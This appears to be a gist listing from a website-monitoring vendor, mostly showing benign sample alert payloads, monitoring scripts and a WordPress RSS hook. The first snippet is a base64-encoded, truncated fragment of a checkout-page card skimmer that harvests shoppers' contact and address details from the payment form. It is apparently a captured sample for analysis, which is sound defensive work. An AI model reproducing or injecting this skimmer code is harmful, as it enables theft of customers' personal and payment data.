This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
atob("c2V0VGltZW91dChmdW5jdGlvbigpeyJmdW5jdGlvbiI9PXR5cGVvZiBqUXVlcnkmJiQoIiNidG4tcmV2aWV3LW9yZGVyIikub24oIm1vdXNlZW50ZXIiLGZ1bmN0aW9uKCl7aWYoJCgiI2NyZWRpdC1jYXJkLXBheW1lbnQiKS5pcygiOnZpc2libGUiKSl7dmFyIGU9e3NoaXBwaW5nOntlbWFpbDokKCIjZm9ybS1zYXZlLW9yZGVyICNFbWFpbEFkZHJlc3MiKS52YWwoKSxjb3VudHJ5OiQoIiNmb3JtLXNhdmUtb3JkZXIgI1NoaXBwaW5nQWRkcmVzc19Db3VudHJ5IikudmFsKCksZmlyc3RuYW1lOiQoIiNmb3JtLXNhdmUtb3JkZXIgI1NoaXBwaW5nQWRkcmVzc19GaXJzdE5hbWUiKS52YWwoKSxsYXN0bmFtZTokKCIjZm9ybS1zYXZlLW9yZGVyICNTaGlwcGluZ0FkZHJlc3NfTGFzdE5hbWUiKS52YWwoKSxhZGRyZXNzOiQoIiNmb3JtLXNhdmUtb3JkZXIgI1NoaXBwaW5nQWRkcmVzc19MaW5lMSIpLnZhbCgpLGNvZGU6JCgiI2Zvcm0tc2F2ZS1vcmRlciAjU2hpcHBpbmdBZGRyZXNzX1Bvc3RhbENvZGUiKS52YWwoKSxjaXR5OiQoIiNmb3JtLXNhdmUtb3JkZXIgI1NoaXBwaW5nQWRkcmVzc19DaXR5IikudmFsKCksc3RhdGU6JCgiI2Zvcm0tc2F2ZS1vcmRlciAjU2hpcHBpbmdBZGRyZXNzX1JlZ2lvbiIpLnZhbCgpLHBob25lOiQoIiNmb3JtLXNhdmUtb3JkZXIgI1NoaXBwaW5nQWRkcmVzc19QaG9uZU51bWJlciIpLnZhbCgpfSxzYW1lYXNzaGlwcGluZzokKCIjZm9ybS1zYXZlLW9yZGVyIGlucHV0W25hbWU9U2FtZUFzU2hpcHBpbmdBZGRyZXNzXS |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"journey_alert":{ | |
"uuid":"4205845c-c698-444b-b47f-6e3771XXXXXX", | |
"label":"New Host", | |
"type":"data_whitelist", | |
"step":null, | |
"element":null, | |
"metric":null, | |
"operator":null, | |
"value":null, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// enter your RCA ID here | |
define('RCA_ID', 'ex4mp13-ex4mp13-ex4mp13-ex4mp13'); | |
$qs = http_build_query([ | |
'start_date'=>date('Y-m-d'), | |
'end_date'=>date('Y-m-d'), | |
'api_key'=>'DEMO_KEY' | |
]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"website":{ | |
"id":"111", | |
"uuid":"1119ba6b-1bba-4896-bb69-32a5ae37908d", | |
"label":"Example Website", | |
"domain_name":"http:\/\/www.example.com", | |
"paused":false, | |
"monitor_testing_period":12, | |
"monitor_test_regions":[ | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"rca_alert":{ | |
"uuid":"3fcb92a3-79b1-542e-9e0c-be561c45a426", | |
"label":"RCA RapidSpike Test Alert", | |
"type":"data", | |
"operator":"", | |
"value":"", | |
"threshold_breach_limit":null, | |
"key":{ | |
"uuid":"b5d4c0a0-fd45-778c-b083-5115f6cfa94a", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
import json | |
import urllib2 | |
speedtest = json.loads(subprocess.check_output(['speedtest-cli', '--json'])) | |
req = urllib2.Request( | |
'https://results.rapidspike.com/rca/', | |
json.dumps( | |
{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// enter your RCA ID here | |
$id = 'ex4mp13-ex4mp13-ex4mp13-ex4mp13'; | |
// get the data we need from the API | |
$data = file_get_contents('http://api.burningsoul.in/moon'); | |
$objMoon = json_decode($data); | |
// package up the data to send to the RCA monitor | |
$payload = [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function addRssFeaturedImage() { | |
global $post; | |
if (has_post_thumbnail($post->ID)) { | |
echo '<featured_image>' . wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'featured_size' )[0] . '</featured_image>'; | |
} | |
} | |
add_action('rss2_item', 'addRssFeaturedImage'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"message": "Failing: Your Example App asset has 3 failing monitors!", | |
"asset": { | |
"title":"Example App", | |
"link":"https://my.rapidspike.com/#/account/asset/3x4mpl3-3x4mpl3-3x4mpl3-3x4mpl3", | |
"uuid":"3x4mpl3-3x4mpl3-3x4mpl3-3x4mpl3" | |
}, | |
"monitors": [ | |
{ | |
"type": "ping", |